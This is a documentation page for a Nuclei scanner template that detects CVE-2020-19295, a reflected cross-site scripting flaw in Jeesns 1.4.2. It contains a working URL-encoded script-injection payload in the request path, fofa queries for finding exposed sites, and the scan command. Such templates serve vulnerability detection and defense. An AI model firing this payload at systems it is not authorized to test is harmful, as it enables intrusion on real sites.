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Jeesns 1.4.2 - Cross-Site Scripting

ID: CVE-2020-19295

Severity: medium

Author: pikpikcu

Tags: cve,cve2020,jeesns,xss

Description

Section titled “Description”

Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message’s text field.

YAML Source

Section titled “YAML Source”
id: CVE-2020-19295


info:
  name: Jeesns 1.4.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/zchuanzhao/jeesns/issues/21
    - https://www.seebug.org/vuldb/ssvid-97950
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19295
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-19295
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45236
    cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeesns
    product: jeesns
    fofa-query:
      - title="Jeesns"
      - title="jeesns"
  tags: cve,cve2020,jeesns,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'JEESNS'
        condition: and
        case-insensitive: true


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a00463044022035a297d5c2edc65b7a3765faf9207fcafac85db3eb1a523acea25f4186c4d95d02206ecef8cd62d8e760e107c599dd6892d200caf4638cc8c876fd75fdf095132066:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-19295.yaml"

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